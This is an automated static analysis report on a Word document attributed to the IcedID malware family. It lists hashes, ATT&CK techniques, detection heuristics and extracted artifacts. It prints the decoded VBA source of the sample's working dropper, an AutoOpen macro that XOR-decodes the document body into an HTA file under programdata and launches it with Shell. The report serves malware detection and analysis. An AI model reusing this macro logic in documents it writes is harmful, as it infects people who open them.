IcedID — Office (OOXML) malware analysis

Static analysis result for SHA-256 8b3fea22ad7a9650…

MALICIOUS

Office (OOXML)

46.8 KB Created: 2021-06-17 10:01:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-06-20
MD5: 5ae367a7b6b99cbf2c063ca435bf3df3 SHA-1: 421670d37caece87792f6635c0b4a0e8e22dda26 SHA-256: 8b3fea22ad7a9650f51437a8fb6fc76283faf69c340b4c671b05c88316dd2daa
222 Risk Score

Malware Insights

IcedID · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is an Office document containing VBA macros, specifically an AutoOpen macro that executes a shell command. The script attempts to download a payload to 'c:\programdata\controlscr.hta' by XORing bytes from the document body. This behavior is consistent with the IcedID malware family, which often uses macro-enabled documents to download and execute further stages.

Heuristics 6

  • ClamAV: Doc.Downloader.IcedID-8f0bf81ff0df2060-9955147-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.IcedID-8f0bf81ff0df2060-9955147-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/tiff/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/exif/1.0/In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1207 bytes
SHA-256: 577c5206ef814cc4eec8c148dbf53dd7cec0cc021efd6e05468925fc6cfd7312
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "countRightGeneric"
Function delVba(nextCurrency)
Debug.Print Shell(Trim("" + szDelLocal(nextCurrency & "orer ")))
End Function
Function szDelLocal(nextCurrency, Optional currencyArr = "c:\progra", Optional lenSzQuery = "ta")
szDelLocal = nextCurrency & currencyArr & "mdata\controlScr.h" & lenSzQuery
End Function
Function libLst(arr As Variant)
Dim out As String
out = ""
For cnt = 1 To UBound(arr)
out = out & Chr(arr(cnt) Xor 100)
Next
libLst = out
End Function

Attribute VB_Name = "tmpLib"
Sub autoopen()
bytesSelInd
globalGlobalException = delVba("expl")
End Sub

Attribute VB_Name = "namespaceInteger"
Sub bytesSelInd()
Open szDelLocal("") For Output As #1
Print #1, libDataLnk
Close #1
End Sub
Function libDataLnk()
libDataLnk = libLst(storageDoubleV)
End Function
Function storageDoubleV()
storageDoubleV = Split(ActiveDocument.Range.Text, "x")
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 16896 bytes
SHA-256: 40a0a9c90fb4e1f98d20c6f50f87856c447f42566fb444c54d38aeadcb17c5ae

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